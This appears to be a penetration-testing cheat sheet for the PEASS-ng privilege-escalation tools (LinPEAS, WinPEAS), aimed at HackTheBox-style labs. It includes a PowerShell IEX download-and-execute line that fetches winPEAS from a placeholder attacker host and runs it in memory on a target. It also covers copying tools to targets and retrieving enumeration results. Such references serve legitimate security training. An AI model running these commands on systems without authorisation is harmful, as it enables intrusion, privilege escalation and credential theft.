Overview
PEASS-ng (Privilege Escalation Awesome Scripts Suite — Next Generation) is a toolkit for automated privilege escalation enumeration on Linux and Windows systems. It includes LinPEAS (Linux) and WinPEAS (Windows), which scan the local system for misconfigurations, weak permissions, vulnerable software, credentials, and other vectors that could allow privilege escalation to root or SYSTEM.
Target / Context
Compromised Linux or Windows hosts during post-exploitation. Used immediately after initial access to identify privilege escalation vectors before manual enumeration.
Installation
Installation Commands:
linpeas (download to attacker machine):
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shwinpeas (PowerShell version URL for hosting):
https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1Basic Usage
Basic Usage:
linpeas:
bash linpeas.shwinpeas (PS):
IEX(New-Object Net.WebClient).downloadString('http://<attacker>:8080/winPEAS.ps1')Flags & Options
Flags & Options:
LinPEAS
| Flag | Description | Example |
|---|---|---|
-a | Perform all checks (more thorough) | bash linpeas.sh -a |
-N | Disable color output | bash linpeas.sh -N |
-h | Show help and available options | bash linpeas.sh -h |
WinPEAS — flags vary by version; PowerShell version accepts parameters at runtime.
Output Color Coding (LinPEAS)
| Color | Meaning |
|---|---|
| Red | High-probability privilege escalation vector |
| Yellow | Potential vector requiring further analysis |
| Green | General information useful for manual enumeration |
Common Use Cases
LinPEAS — Transfer and Execute on Linux Target
Upload LinPEAS from attacker machine to target, execute, and save results.
Commands:
On attacker machine (download):
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shTransfer to target:
scp linpeas.sh <username>@<target-IP>:<path>With key:
scp -i <private-key> linpeas.sh <username>@<target-IP>:/tmp/linpeas.shOn target — convert and execute:
dos2unix linpeas.shbash linpeas.sh -a -N > /tmp/linpeas_results.txtRetrieve results:
scp -i <private-key> <username>@<target-IP>:/tmp/linpeas_results.txt ./WinPEAS — Serve and Execute via PowerShell (No Upload Required)
Host WinPEAS on attacker machine and execute in-memory on target.
Commands:
On attacker machine:
python3 -m http.server 8080On target (PowerShell):
powershell "IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP>:8080/winPEAS.ps1')" > winpeas.txtlinpill.sh (HTB Companion Script)
A lightweight pillaging script from HackTheBox — less thorough than LinPEAS but stores results in /tmp for quick review.
Commands:
dos2unix linpill.shbash linpill.shScript: linpill.sh — available from HackTheBox resources
winpill.ps1 (HTB Companion Script)
WinPEAS companion pillaging script. Execute as Administrator for full results.
Commands:
Start-Process powershell.exe -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File C:\\winpill.ps1"Script: winpill.ps1 — available from HackTheBox resources